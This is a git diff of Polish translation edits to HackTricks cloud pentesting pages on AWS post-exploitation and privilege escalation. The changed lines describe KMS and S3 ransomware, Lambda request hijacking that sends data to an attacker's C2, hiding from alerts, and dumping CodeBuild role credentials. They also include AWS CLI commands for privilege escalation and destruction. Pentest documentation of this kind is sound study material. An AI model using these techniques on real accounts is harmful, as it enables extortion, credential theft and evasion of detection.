uzyskać dostępu do żadnych informacji z jakiejkolwiek usługi, która została zaszyfrowana tymi kluczami, tworząc łatwy, ale skuteczny ransomware na koncie. > [!WARNING] -> Zauważ, że **zarządzane przez AWS klucze nie są dotknięte** tym atakiem, tylko **klucze zarządzane przez klienta**. +> Zauważ, że **klucze zarządzane przez AWS nie są dotknięte** tym atakiem, tylko **klucze zarządzane przez klienta**. > Zauważ również potrzebę użycia parametru **`--bypass-policy-lockout-safety-check`** (brak tej opcji w konsoli internetowej sprawia, że ten atak jest możliwy tylko z CLI). ```bash diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md index 2df03d3b8..6a2c18b13 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md @@ -14,7 +14,7 @@ 3. **bootstrap.py** ma pętlę, która pobiera wywołania z procesu init i wywołuje kod użytkownika, aby je obsłużyć (**`/next`**). 4. Na koniec **bootstrap.py** wysyła do init **odpowiedź** -Zauważ, że bootstrap ładuje kod użytkownika jako moduł, więc każde wykonanie kodu przez kod użytkownika odbywa się w tym procesie. +Zauważ, że bootstrap ładuje kod użytkownika jako moduł, więc wszelkie wykonania kodu realizowane przez kod użytkownika odbywają się w tym procesie. ## Kradzież Żądań Lambda @@ -26,7 +26,7 @@ To proste zadanie do osiągnięcia, ponieważ kod użytkownika jest wykonywany p - Żądanie musi być wysłane do **`/${invoke-id}/response`** - invoke-id można uzyskać ze stosu legitnego procesu **`bootstrap.py`** za pomocą modułu [**inspect**](https://docs.python.org/3/library/inspect.html) w Pythonie (jak [proponowano tutaj](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) lub po prostu ponownie żądając go do **`/2018-06-01/runtime/invocation/next`** (jak [proponowano tutaj](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)). - Wykonać złośliwy **`boostrap.py`**, który obsłuży następne wywołania -- Dla celów ukrycia można wysłać parametry wywołań lambda do kontrolowanego przez atakującego C2, a następnie obsługiwać żądania jak zwykle. +- Dla celów stealth można wysłać parametry wywołań lambda do kontrolowanego przez atakującego C2, a następnie obsługiwać żądania jak zwykle. - Do tego ataku wystarczy pobrać oryginalny kod **`bootstrap.py`** z systemu lub [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), dodać złośliwy kod i uruchomić go z bieżącego wywołania lambda. ### Kroki Ataku diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md index 702805cc6..64d85126b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md @@ -21,7 +21,7 @@ Lub **wyeksportuj migawkę do AMI w EC2** i postępuj zgodnie z krokami typowej ### Uzyskaj dostęp do wrażliwych informacji -Sprawdź opcje privesc w Lightsail, aby poznać różne sposoby uzyskania dostępu do potencjalnych wrażliwych informacji: +Sprawdź opcje privesc Lightsail, aby poznać różne sposoby uzyskania dostępu do potencjalnych wrażliwych informacji: {{#ref}} ../aws-privilege-escalation/aws-lightsail-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md index 18aece979..0ec45ea09 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md @@ -21,13 +21,13 @@ Na przykład, **airflow** może przechowywać **kod DAGów** tam, lub **strony i ### Ransomware S3 -W tym scenariuszu **atakujący tworzy klucz KMS (Key Management Service) w swoim własnym koncie AWS** lub innym skompromitowanym koncie. Następnie udostępnia ten **klucz każdemu na świecie**, umożliwiając każdemu użytkownikowi AWS, roli lub koncie szyfrowanie obiektów za pomocą tego klucza. Jednak obiekty nie mogą być odszyfrowane. +W tym scenariuszu **atakujący tworzy klucz KMS (Key Management Service) w swoim własnym koncie AWS** lub innym skompromitowanym koncie. Następnie udostępnia ten **klucz każdemu na świecie**, umożliwiając dowolnemu użytkownikowi AWS, roli lub koncie szyfrowanie obiektów za pomocą tego klucza. Jednak obiekty nie mogą być odszyfrowane. -Atakujący identyfikuje docelowy **bucket S3 i uzyskuje dostęp na poziomie zapisu** do niego, używając różnych metod. Może to być spowodowane słabą konfiguracją bucketa, która ujawnia go publicznie, lub atakujący uzyskuje dostęp do samego środowiska AWS. Atakujący zazwyczaj celuje w buckety, które zawierają wrażliwe informacje, takie jak dane osobowe (PII), chronione informacje zdrowotne (PHI), logi, kopie zapasowe i inne. +Atakujący identyfikuje docelowy **bucket S3 i uzyskuje dostęp na poziomie zapisu** do niego, korzystając z różnych metod. Może to być spowodowane słabą konfiguracją bucketa, która ujawnia go publicznie, lub atakujący uzyskuje dostęp do samego środowiska AWS. Atakujący zazwyczaj celuje w buckety, które zawierają wrażliwe informacje, takie jak dane osobowe (PII), chronione informacje zdrowotne (PHI), logi, kopie zapasowe i inne. -Aby określić, czy bucket może być celem ransomware, atakujący sprawdza jego konfigurację. Obejmuje to weryfikację, czy **Wersjonowanie Obiektów S3** jest włączone i czy **usunięcie z uwierzytelnieniem wieloskładnikowym (MFA delete) jest włączone**. Jeśli Wersjonowanie Obiektów nie jest włączone, atakujący może kontynuować. Jeśli Wersjonowanie Obiektów jest włączone, ale MFA delete jest wyłączone, atakujący może **wyłączyć Wersjonowanie Obiektów**. Jeśli zarówno Wersjonowanie Obiektów, jak i MFA delete są włączone, staje się to trudniejsze dla atakującego, aby przeprowadzić ransomware na tym konkretnym buckecie. +Aby ustalić, czy bucket może być celem ransomware, atakujący sprawdza jego konfigurację. Obejmuje to weryfikację, czy **Wersjonowanie Obiektów S3** jest włączone i czy **usunięcie z uwierzytelnieniem wieloskładnikowym (MFA delete) jest włączone**. Jeśli Wersjonowanie Obiektów nie jest włączone, atakujący może kontynuować. Jeśli Wersjonowanie Obiektów jest włączone, ale MFA delete jest wyłączone, atakujący może **wyłączyć Wersjonowanie Obiektów**. Jeśli zarówno Wersjonowanie Obiektów, jak i MFA delete są włączone, staje się to trudniejsze dla atakującego, aby przeprowadzić ransomware na tym konkretnym buckecie. -Używając API AWS, atakujący **zastępuje każdy obiekt w buckecie zaszyfrowaną kopią za pomocą swojego klucza KMS**. To skutecznie szyfruje dane w buckecie, czyniąc je niedostępnymi bez klucza. +Korzystając z API AWS, atakujący **zastępuje każdy obiekt w buckecie zaszyfrowaną kopią przy użyciu swojego klucza KMS**. To skutecznie szyfruje dane w buckecie, czyniąc je niedostępnymi bez klucza. Aby wywrzeć dodatkową presję, atakujący planuje usunięcie klucza KMS używanego w ataku. Daje to celowi 7-dniowy okres na odzyskanie danych przed usunięciem klucza i trwałą utratą danych. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md index 606eea309..1ce8f359a 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md @@ -26,7 +26,7 @@ aws secretsmanager put-secret-value \ --secret-id MyTestSecret \ --secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" ``` -### DoS Zmień klucz KMS +### DoS Zmiana klucza KMS ```bash aws secretsmanager update-secret \ --secret-id MyTestSecret \ diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md index 4e8336bc4..295fab8d7 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md @@ -12,7 +12,7 @@ Aby uzyskać więcej informacji: ### Zakłócanie wiadomości -W wielu przypadkach tematy SNS są używane do wysyłania wiadomości do platform, które są monitorowane (e-maile, wiadomości slack...). Jeśli atakujący uniemożliwi wysyłanie wiadomości, które informują o jego obecności w chmurze, może pozostać niezauważony. +W wielu przypadkach tematy SNS są używane do wysyłania wiadomości do platform, które są monitorowane (e-maile, wiadomości slack...). Jeśli atakujący uniemożliwi wysyłanie wiadomości, które ostrzegają o jego obecności w chmurze, może pozostać niezauważony. ### `sns:DeleteTopic` @@ -54,7 +54,7 @@ Napastnik mógłby przyznać nieautoryzowanym użytkownikom lub usługom dostęp aws sns add-permission --topic-arn --label --aws-account-id --action-name aws sns remove-permission --topic-arn --label ``` -**Potencjalny wpływ**: Nieautoryzowany dostęp do tematu, ujawnienie wiadomości lub manipulacja tematem przez nieautoryzowanych użytkowników lub usługi, zakłócenie normalnego funkcjonowania aplikacji opartych na temacie. +**Potencjalny wpływ**: Nieautoryzowany dostęp do tematu, ujawnienie wiadomości lub manipulacja tematem przez nieautoryzowanych użytkowników lub usługi, zakłócenie normalnego funkcjonowania aplikacji polegających na temacie. ### `sns:TagResource` , `sns:UntagResource` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md index ebafcc94c..0a3040b15 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md @@ -12,13 +12,13 @@ Aby uzyskać więcej informacji na temat tej usługi AWS, sprawdź: ### `states:RevealSecrets` -To uprawnienie pozwala na **ujawnienie tajnych danych wewnątrz wykonania**. W tym celu należy ustawić poziom inspekcji na TRACE i parametr revealSecrets na true. +To uprawnienie pozwala na **ujawnienie tajnych danych wewnątrz wykonania**. W tym celu należy ustawić poziom inspekcji na TRACE oraz parametr revealSecrets na true.
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` -Atakujący z tymi uprawnieniami mógłby na stałe usunąć maszyny stanów, ich wersje i aliasy. Może to zakłócić krytyczne przepływy pracy, prowadzić do utraty danych i wymagać znacznego czasu na odzyskanie i przywrócenie dotkniętych maszyn stanów. Dodatkowo, umożliwiłoby to atakującemu zatarcie śladów, zakłócenie dochodzeń kryminalistycznych i potencjalnie sparaliżowanie operacji poprzez usunięcie niezbędnych procesów automatyzacji i konfiguracji stanów. +Napastnik z tymi uprawnieniami mógłby na stałe usunąć maszyny stanów, ich wersje i aliasy. Może to zakłócić krytyczne przepływy pracy, prowadzić do utraty danych i wymagać znacznego czasu na odzyskanie i przywrócenie dotkniętych maszyn stanów. Dodatkowo, umożliwiłoby to napastnikowi zatarcie śladów, zakłócenie dochodzeń kryminalnych i potencjalnie sparaliżowanie operacji poprzez usunięcie niezbędnych procesów automatyzacji i konfiguracji stanów. > [!NOTE] > @@ -37,7 +37,7 @@ aws stepfunctions delete-state-machine-alias --state-machine-alias-arn ### `states:UpdateMapRun` -Napastnik z tym uprawnieniem mógłby manipulować konfiguracją awarii Map Run oraz ustawieniem równoległym, mając możliwość zwiększenia lub zmniejszenia maksymalnej liczby dozwolonych wykonania dziecięcych przepływów pracy, co bezpośrednio wpływa na wydajność usługi. Dodatkowo, napastnik mógłby manipulować tolerowanym procentem i liczbą awarii, mając możliwość zmniejszenia tej wartości do 0, co spowodowałoby, że za każdym razem, gdy element zawiedzie, całe uruchomienie mapy zawiedzie, co bezpośrednio wpłynie na wykonanie maszyny stanów i potencjalnie zakłóci krytyczne przepływy pracy. +Napastnik z tym uprawnieniem mógłby manipulować konfiguracją awarii Map Run oraz ustawieniem równoległym, mając możliwość zwiększenia lub zmniejszenia maksymalnej liczby dozwolonych wykonania dziecięcych przepływów pracy, co bezpośrednio wpływa na wydajność usługi. Dodatkowo, napastnik mógłby manipulować tolerowanym procentem awarii i liczbą, mając możliwość zmniejszenia tej wartości do 0, co spowodowałoby, że za każdym razem, gdy element zawiedzie, cały przebieg mapy zawiedzie, co bezpośrednio wpłynęłoby na wykonanie maszyny stanów i potencjalnie zakłóciło krytyczne przepływy pracy. ```bash aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] ``` @@ -45,14 +45,14 @@ aws stepfunctions update-map-run --map-run-arn [--max-concurrency [!WARNING] -> Ta akcja nie jest wspierana przez **maszyny stanów ekspresowych**. +> Ta akcja nie jest wspierana przez **maszyny stanów express**. ```bash aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] ``` -- **Potencjalny wpływ**: Zakłócenie bieżących przepływów pracy, przestoje operacyjne i potencjalne uszkodzenie danych. +- **Potencjalny wpływ**: Zakłócenie bieżących przepływów pracy, przestoje operacyjne i potencjalna korupcja danych. ### `states:TagResource`, `states:UntagResource` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md index 29af25523..539e75e5f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md @@ -12,7 +12,7 @@ Aby uzyskać więcej informacji: ### Od poświadczeń IAM do konsoli -Jeśli udało Ci się uzyskać jakieś poświadczenia IAM, możesz być zainteresowany **dostępem do konsoli internetowej** za pomocą następujących narzędzi.\ +Jeśli udało Ci się uzyskać poświadczenia IAM, możesz być zainteresowany **dostępem do konsoli internetowej** za pomocą następujących narzędzi.\ Zauważ, że użytkownik/rola musi mieć uprawnienie **`sts:GetFederationToken`**. #### Niestandardowy skrypt @@ -79,7 +79,7 @@ aws-vault login jonsmith # Open a browser logged as jonsmith ### **Obejście ograniczeń User-Agent z Pythona** -Jeśli istnieje **ograniczenie dotyczące wykonywania określonych działań w oparciu o używany agent użytkownika** (na przykład ograniczenie użycia biblioteki python boto3 w oparciu o agenta użytkownika), możliwe jest użycie poprzedniej techniki, aby **połączyć się z konsolą internetową za pomocą przeglądarki**, lub możesz bezpośrednio **zmodyfikować agenta użytkownika boto3**, wykonując: +Jeśli istnieje **ograniczenie w wykonywaniu określonych działań w oparciu o używany agent użytkownika** (na przykład ograniczenie użycia biblioteki python boto3 w oparciu o agenta użytkownika), możliwe jest użycie poprzedniej techniki, aby **połączyć się z konsolą internetową za pomocą przeglądarki**, lub możesz bezpośrednio **zmodyfikować agenta użytkownika boto3**, wykonując: ```bash # Shared by ex16x41 # Create a client diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md index c3f549bcc..41a89f521 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md @@ -43,7 +43,7 @@ Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **przyznania so ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy` -Jeśli masz to uprawnienie, ale **brak `iam:PassRole`**, nadal możesz **aktualizować stosy** używane i nadużywać **ról IAM, które już mają przypisane**. Sprawdź poprzednią sekcję w celu uzyskania przykładu wykorzystania (po prostu nie wskazuj żadnej roli w aktualizacji). +Jeśli masz to uprawnienie, ale **brak `iam:PassRole`**, nadal możesz **aktualizować stosy** używane i nadużywać **ról IAM, które już mają przypisane**. Sprawdź poprzednią sekcję w celu przykładu wykorzystania (po prostu nie wskazuj żadnej roli w aktualizacji). Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **przyznania sobie uprawnienia `UpdateStack`** nad stosem i przeprowadzenia ataku. @@ -51,9 +51,9 @@ Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **przyznania so ### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -Atakujący z uprawnieniami do **przekazywania roli oraz tworzenia i wykonywania ChangeSet** może **tworzyć/aktualizować nowy stos cloudformation, nadużywając ról usługi cloudformation** tak jak w przypadku CreateStack lub UpdateStack. +Napastnik z uprawnieniami do **przekazywania roli oraz tworzenia i wykonywania ChangeSet** może **tworzyć/aktualizować nowy stos cloudformation, nadużywając ról usługi cloudformation** tak jak w przypadku CreateStack lub UpdateStack. -Poniższe wykorzystanie jest **wariacją**[ **CreateStack**](./#iam-passrole-cloudformation-createstack) wykorzystującą **uprawnienia ChangeSet** do stworzenia stosu. +Poniższe wykorzystanie jest **wariacją**[ **CreateStack**](./#iam-passrole-cloudformation-createstack) używającą **uprawnień ChangeSet** do stworzenia stosu. ```bash aws cloudformation create-change-set \ --stack-name privesc \ @@ -79,17 +79,17 @@ aws cloudformation describe-stacks \ --stack-name privesc \ --region eu-west-1 ``` -Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **przyznania sobie uprawnień `ChangeSet`** nad stosem i przeprowadzenia ataku. +Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **nadania sobie uprawnień `ChangeSet`** nad stosem i przeprowadzenia ataku. **Potencjalny wpływ:** Privesc do ról serwisowych cloudformation. ### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -To jest jak poprzednia metoda, ale bez przekazywania **ról IAM**, więc możesz po prostu **wykorzystać już przypisane**, wystarczy zmodyfikować parametr: +To jest jak poprzednia metoda, ale bez przekazywania **ról IAM**, więc możesz po prostu **nadużyć już przypisanych**, wystarczy zmodyfikować parametr: ``` --change-set-type UPDATE ``` -**Potencjalny wpływ:** Privesc do roli usługi cloudformation, która jest już dołączona. +**Potencjalny wpływ:** Privesc do roli usługi cloudformation, która jest już przypisana. ### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`) @@ -99,9 +99,9 @@ Napastnik mógłby nadużyć tych uprawnień, aby tworzyć/aktualizować StackSe ### `cloudformation:UpdateStackSet` -Napastnik mógłby nadużyć tego uprawnienia bez uprawnienia passRole, aby aktualizować StackSets w celu nadużycia dołączonych ról cloudformation. +Napastnik mógłby nadużyć tego uprawnienia bez uprawnienia passRole, aby aktualizować StackSets w celu nadużycia przypisanych ról cloudformation. -**Potencjalny wpływ:** Privesc do dołączonych ról cloudformation. +**Potencjalny wpływ:** Privesc do przypisanych ról cloudformation. ## Odniesienia diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md index 366bbde6c..9e3391d63 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -Napastnik mógłby na przykład użyć **szablonu cloudformation**, który generuje **klucze dla użytkownika admin** jak: +Atakujący mógłby na przykład użyć **szablonu cloudformation**, który generuje **klucze dla użytkownika admin** jak: ```json { "Resources": { diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index dcaff44a2..b583a8f18 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -137,12 +137,12 @@ aws codebuild start-build --project-name reverse-shell-project {{#endtab }} {{#endtabs }} -**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej roli AWS Codebuild. +**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do dowolnej roli AWS Codebuild. > [!WARNING] > W **kontenerze Codebuild** plik `/codebuild/output/tmp/env.sh` zawiera wszystkie zmienne środowiskowe potrzebne do uzyskania dostępu do **poświadczeń metadanych**. -> Ten plik zawiera **zmienną środowiskową `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**, która zawiera **ścieżkę URL** do uzyskania dostępu do poświadczeń. Będzie to coś takiego jak `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` +> Ten plik zawiera **zmienną środowiskową `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**, która zawiera **ścieżkę URL** do uzyskania poświadczeń. Będzie to coś w stylu `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` > Dodaj to do URL **`http://169.254.170.2/`** a będziesz mógł zrzucić poświadczenia roli. @@ -291,7 +291,7 @@ Dla uzyskania dodatkowych informacji [**sprawdź dokumentację**](https://docs.a Atakujący, który może uruchomić/ponownie uruchomić budowę konkretnego projektu CodeBuild, który przechowuje swój plik `buildspec.yml` w wiadrze S3, do którego atakujący ma dostęp do zapisu, może uzyskać wykonanie poleceń w procesie CodeBuild. -Uwaga: eskalacja jest istotna tylko wtedy, gdy pracownik CodeBuild ma inną rolę, miejmy nadzieję, że bardziej uprzywilejowaną, niż ta atakującego. +Uwaga: eskalacja jest istotna tylko wtedy, gdy pracownik CodeBuild ma inną rolę, miejmy nadzieję, bardziej uprzywilejowaną, niż ta atakującego. ```bash aws s3 cp s3:///buildspec.yml ./ @@ -320,7 +320,7 @@ commands: **Wpływ:** Bezpośrednie podniesienie uprawnień do roli używanej przez pracownika AWS CodeBuild, która zazwyczaj ma wysokie uprawnienia. > [!WARNING] -> Należy pamiętać, że buildspec może być oczekiwany w formacie zip, więc atakujący musiałby pobrać, rozpakować, zmodyfikować `buildspec.yml` z katalogu głównego, ponownie spakować i przesłać. +> Należy zauważyć, że buildspec może być oczekiwany w formacie zip, więc atakujący musiałby pobrać, rozpakować, zmodyfikować `buildspec.yml` z katalogu głównego, ponownie spakować i przesłać. Więcej szczegółów można znaleźć [tutaj](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md index 9f764c2cf..d3accefb8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md @@ -18,7 +18,7 @@ Oprócz wcześniejszych uprawnień potrzebujesz **dostępu do miejsca, w którym Testowałem to, wykonując proces na stronie internetowej, wcześniejsze wskazane uprawnienia to nie List/Get, które są potrzebne do stworzenia codepipeline, ale do stworzenia go w sieci będziesz również potrzebować: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` -Podczas **tworzenia projektu build** możesz wskazać **komendę do uruchomienia** (rev shell?) i uruchomić fazę build jako **użytkownik z uprawnieniami**, to jest konfiguracja, której potrzebuje atakujący, aby skompromitować: +Podczas **tworzenia projektu budowy** możesz wskazać **komendę do uruchomienia** (rev shell?) i uruchomić fazę budowy jako **użytkownik z uprawnieniami**, to jest konfiguracja, której potrzebuje atakujący, aby skompromitować: ![](<../../../images/image (276).png>) @@ -26,7 +26,7 @@ Podczas **tworzenia projektu build** możesz wskazać **komendę do uruchomienia ### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution` -Może być możliwe modyfikowanie roli używanej i komendy wykonywanej w codepipeline z wcześniejszymi uprawnieniami. +Możliwe, że można zmodyfikować rolę używaną i komendę wykonywaną w codepipeline z wcześniejszymi uprawnieniami. ### `codepipeline:pollforjobs` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md index a51456f5e..d69edba24 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md @@ -12,7 +12,7 @@ codestar-createproject-codestar-associateteammember.md ### `iam:PassRole`, `codestar:CreateProject` -Dzięki tym uprawnieniom możesz **nadużyć roli IAM codestar** do wykonywania **dowolnych działań** za pomocą **szablonu cloudformation**. Sprawdź następującą stronę: +Dzięki tym uprawnieniom możesz **nadużyć roli IAM codestar** do wykonania **dowolnych działań** za pomocą **szablonu cloudformation**. Sprawdź następującą stronę: {{#ref}} iam-passrole-codestar-createproject.md @@ -20,7 +20,7 @@ iam-passrole-codestar-createproject.md ### `codestar:CreateProject`, `codestar:AssociateTeamMember` -Ta technika wykorzystuje `codestar:CreateProject` do stworzenia projektu codestar oraz `codestar:AssociateTeamMember`, aby uczynić użytkownika IAM **właścicielem** nowego projektu CodeStar, co przyzna im **nową politykę z kilkoma dodatkowymi uprawnieniami**. +Ta technika wykorzystuje `codestar:CreateProject` do stworzenia projektu codestar oraz `codestar:AssociateTeamMember` do uczynienia użytkownika IAM **właścicielem** nowego projektu CodeStar, co przyzna im **nową politykę z kilkoma dodatkowymi uprawnieniami**. ```bash PROJECT_NAME="supercodestar" @@ -39,7 +39,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \ --project-role "Owner" \ --remote-access-allowed ``` -Jeśli jesteś już **członkiem projektu**, możesz użyć uprawnienia **`codestar:UpdateTeamMember`**, aby **zaktualizować swoją rolę** na właściciela zamiast `codestar:AssociateTeamMember`. +Jeśli jesteś już **członkiem projektu**, możesz użyć uprawnienia **`codestar:UpdateTeamMember`** do **aktualizacji swojej roli** na właściciela zamiast `codestar:AssociateTeamMember`. **Potencjalny wpływ:** Privesc do polityki codestar. Przykład tej polityki można znaleźć w: @@ -50,17 +50,17 @@ codestar-createproject-codestar-associateteammember.md ### `codestar:CreateProjectFromTemplate` 1. **Utwórz nowy projekt:** -- Wykorzystaj akcję **`codestar:CreateProjectFromTemplate`**, aby rozpocząć tworzenie nowego projektu. +- Wykorzystaj akcję **`codestar:CreateProjectFromTemplate`** do rozpoczęcia tworzenia nowego projektu. - Po pomyślnym utworzeniu, dostęp jest automatycznie przyznawany dla **`cloudformation:UpdateStack`**. -- Ten dostęp dotyczy konkretnej stosu powiązanej z rolą IAM `CodeStarWorker--CloudFormation`. +- Ten dostęp dotyczy konkretnego stosu powiązanego z rolą IAM `CodeStarWorker--CloudFormation`. 2. **Zaktualizuj docelowy stos:** -- Z przyznanymi uprawnieniami CloudFormation, przystąp do aktualizacji określonego stosu. +- Posiadając przyznane uprawnienia CloudFormation, przystąp do aktualizacji określonego stosu. - Nazwa stosu zazwyczaj będzie odpowiadać jednemu z dwóch wzorców: -- `awscodestar--infrastructure` -- `awscodestar--lambda` +- `awscodestar--infrastructure` +- `awscodestar--lambda` - Dokładna nazwa zależy od wybranego szablonu (odnosząc się do przykładowego skryptu exploit). 3. **Dostęp i uprawnienia:** -- Po aktualizacji uzyskujesz możliwości przypisane do **roli IAM CloudFormation** powiązanej z tym stosem. +- Po aktualizacji uzyskujesz możliwości przypisane do **roli IAM CloudFormation** powiązanej ze stosem. - Uwaga: To nie zapewnia z natury pełnych uprawnień administratora. Dodatkowe źle skonfigurowane zasoby w środowisku mogą być wymagane do dalszego podniesienia uprawnień. Aby uzyskać więcej informacji, sprawdź oryginalne badania: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md index e7b43ccdf..dfe3e14ef 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -To jest utworzona polityka, do której użytkownik może uzyskać podwyższone uprawnienia (nazwa projektu to `supercodestar`): +To jest utworzona polityka, do której użytkownik może uzyskać dostęp (nazwa projektu to `supercodestar`): ```json { "Version": "2012-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md index 4a3d90b50..7714f95fa 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md @@ -20,7 +20,7 @@ Aby uzyskać więcej informacji, 